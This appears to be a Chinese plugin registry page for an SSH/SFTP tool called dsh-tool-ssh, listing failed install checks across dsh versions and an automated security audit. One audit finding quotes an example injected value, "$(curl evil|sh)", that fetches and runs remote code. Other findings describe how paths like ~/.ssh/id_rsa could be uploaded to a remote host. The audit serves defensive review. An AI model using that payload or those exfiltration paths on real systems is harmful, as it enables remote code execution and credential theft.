安装验证:沙盒安装通过,Web 冒烟失败 (L5 failed) · 验证于 dsh 0.2.1-rc.2 · 验证日期 安装验证详情 →
功能介绍AI
类似MobaXterm的SSH/SFTP工具,支持保存配置、持久会话、远程命令、SFTP传输及Web终端界面。
- 保存连接配置,快速访问
- 持久多路复用SSH会话
- Web界面含文件浏览器和实时终端
能力标签为 AI 推断或 README 规则抽取(见角标),词表受限、未经安装验证;AI = 推断,README = 原文关键词。
安装
dsh plugin --profile web add github:hoshinoick811/dsh-tool-ssh安装方式: GitHub · 沙盒安装通过,Web 冒烟失败 (L5 failed)
验证与兼容性
按插件版本分组:每张卡是该插件版本实测过的 dsh 版本与安装兼容结论(L5 优先)。只列真测过的组合——未列出 = 未实测,不推定兼容。L1–L3 为插件级静态档(与 dsh 版本无关,各 dsh 行同值):在行内「验证等级」格里与 L4/L5 并列显示、标注「静态」,证据体为插件级单份、随行内「查看检查项与证据」出现,不在各版本重复存储。
External credentials(插件级):未检测到
○ 作者未声明 dsh 版本要求 —— 安装不会因版本被拒。
| 插件版本 \ dsh | dsh 0.2.1-rc.2 当前 | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 | dsh 0.2.0-rc.2 | dsh 0.2.0-rc.1 |
|---|---|---|---|---|---|
| 74b814 | ✗ | ✗ | ✗ | ✗ | ✗ |
74b814github◐ 测试中 1失败 112026-10-19
https://github.com/hoshinoick811/dsh-tool-ssh
✗dsh 0.2.1-rc.2当前2026-10-19L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.2.1-rc.2 · 档位: l4-sandbox
签发:2026-10-19 · 有效至:2026-10-26
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗dsh 0.2.1-alpha.42026-10-16L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.2.1-alpha.4 · 档位: l4-sandbox
签发:2026-10-16 · 有效至:2026-10-23
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗dsh 0.2.1-alpha.22026-10-11L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.2.1-alpha.2 · 档位: l4-sandbox
签发:2026-10-11 · 有效至:2026-10-18
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗dsh 0.2.0-rc.22026-10-08L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.2.0-rc.2 · 档位: l4-sandbox
签发:2026-10-08 · 有效至:2026-10-15
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗dsh 0.2.0-rc.12026-09-29L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.2.0-rc.1 · 档位: l4-sandbox
签发:2026-09-29 · 有效至:2026-10-06
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗dsh 0.1.7-rc.22026-09-25L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.1.7-rc.2 · 档位: l4-sandbox
签发:2026-09-25 · 有效至:2026-10-02
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.7-rc.12026-09-23未实测
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.1.7-rc.1 · 档位: l4-sandbox
签发:2026-09-23 · 有效至:2026-09-30
查看检查项与证据
该档位在这次扫描中未执行。
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗dsh 0.1.6-alpha.22026-09-20L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.1.6-alpha.2 · 档位: l4-sandbox
签发:2026-09-20 · 有效至:2026-09-27
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗dsh 0.1.6-alpha.12026-09-17L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.1.6-alpha.1 · 档位: l4-sandbox
签发:2026-09-17 · 有效至:2026-09-24
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗dsh 0.1.5-rc.22026-09-11L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.1.5-rc.2 · 档位: l4-sandbox
签发:2026-09-11 · 有效至:2026-09-18
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗dsh 0.1.3-alpha.22026-09-08L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.1.3-alpha.2 · 档位: l4-sandbox
签发:2026-09-08 · 有效至:2026-09-15
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
◐dsh 0.1.3-alpha.12026-09-07L4 · 测试中(仅安装通过,运行待测)
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dsh0.1.3-alpha.1 · 档位: l4-sandbox
签发:2026-09-07 · 有效至:2026-09-14
查看检查项与证据
该档位在这次扫描中未执行。
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✗版本史前2026-10-04L5 · 失败
- • Node.js: v24.14.0
- • DSH: unknown
- • 被测插件工件: github · https://github.com/hoshinoick811/dsh-tool-ssh(版本未标注)
ID: dsh-tool-ssh-2@74b814@dshunknown · 档位: l4-sandbox
签发:2026-10-04 · 有效至:2026-10-11
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
作者徽章
将官方徽章嵌入你的 README,展示插件的安全与安装检测状态:
`[](https://www.dsh.so/artifact/dsh-tool-ssh-2/)`安全报告
两层自动化检查,都不是人工审核:静态扫描(逐插件规则判定)与模型驱动的动态安全审计(只覆盖静态判定 warn 及以上的插件子集,不执行插件代码)。
静态扫描 低,动态审计最高 中,按「取更严者」→ 总评级 中。
v0.1.0dsh 清单0.1.0git2026-10-230.1.0版本一致clean · gitvet 为 AST 静态扫描(npm 发布物或 git 源码)。
静态发现(1 条)
- 严重shellExec · shell
lib/ssh-core.js:252async exec(id, command, options = {}) {
展开 4 条审计发现
- mediumssh_upload/ssh_download 允许绝对本地路径,可逃逸工作区
lib/ssh-core.js:426lib/index.js 对 ssh_upload(fastPut 源)与 ssh_download(fastGet 目标)都调用 resolveLocalPath。绝对路径会绕过工作区基准,被诱导的 agent 可把 DSH 进程可读的任意本地文件(如 ~/.ssh/id_rsa、含明文密码的 $DSH_HOME/dsh-tool-ssh/connections.json)上传到它自己用 ssh_connections action=add 定义的远端主机,下载时也可覆盖任意本地文件;默认下载名取远端 basename,远端路径以 '..' 结尾时还会解析到工作区上一级。
- mediumHTTP 控制面在客户端不带任何认证凭据即可驱动远端 shell 与文件传输
client.js该插件的全部高权限操作都是 /plugins/dsh-tool-ssh 下的普通 HTTP 调用:创建交互式远端 shell(/term/open)、向其输入(/term/input)、缩放/流式读取/关闭,以及 SFTP 列目录/上传/下载(/fs/*)和连接配置的读增删(/connections)。客户端自身不携带任何令牌或头部(如 refreshConnections 直接 `api('/connections')`,下载用普通 <a href>)。实现这些路由的服务端文件 lib/ui.js 未被采集,无法确认其是否重新校验调用方身份/授权或做 CSRF 防护;若 DSH Web 服务可被本机之外访问,或同源页面可发起这些请求,攻击者即可用已保存凭据在所有主机上获得远程命令执行与文件传输能力。
- lowcwd 以 JSON 引号拼入远端命令,未转义 $ 与反引号
lib/ssh-core.js:256JSON.stringify 只产生双引号字符串,而 shell 在双引号内仍会做命令替换与变量展开,因此 cwd 为 "$(curl evil|sh)" 或含反引号时会执行。但这是引号/加固缺陷而非权限越界:能控制 cwd 的调用方本身就能控制按设计原样执行的 `command`,不会获得额外权限。这解释了并推翻了静态扫描给出的 critical「shell 命令」告警。
- low已保存的 SSH 密码与口令以明文和默认权限落盘
lib/ssh-core.js:98$DSH_HOME/dsh-tool-ssh/connections.json 原样保存 password/passphrase/privateKey(lib/index.js 会把 profile.password 交给 putConnection),文件按进程 umask(常见 0644)创建,既未对文件也未对目录做 chmod。其他本地用户或任何可读该路径的进程即可获得所有已保存主机的可复用凭据;工具描述与系统提示已披露该设计,降低了但未消除风险。
核心 SSH/SFTP 逻辑无后门,但 ssh_upload/ssh_download 允许工作区外的绝对本地路径,浏览器侧 HTTP 控制面可驱动 shell 与文件传输。
口径:动态审计只会把风险往严重里判,不会把风险降下来(只升不降,不构成豁免);模型判错时由人工复核撤回,撤回后回到静态判定。合并判定 = 两层中更严的那一个。
免责声明:静态扫描与动态安全审计都是自动化分析,不构成安全保证。安装前请自行审查。
活跃度
最近提交 2026-09-06 · 活跃度:稳定
• 仓库创建: 2026-09-06
• 星标: ★ 4 · 复刻: 0
• 健康度: 稳定 — 近 90 天有提交
来源
作者 README
GitHub 原文 ↗展示作者仓库中的原始 README 内容,实时抓取、未做改写;优先加载中文版(README.zh-CN.md 等),无中文版时回退英文。
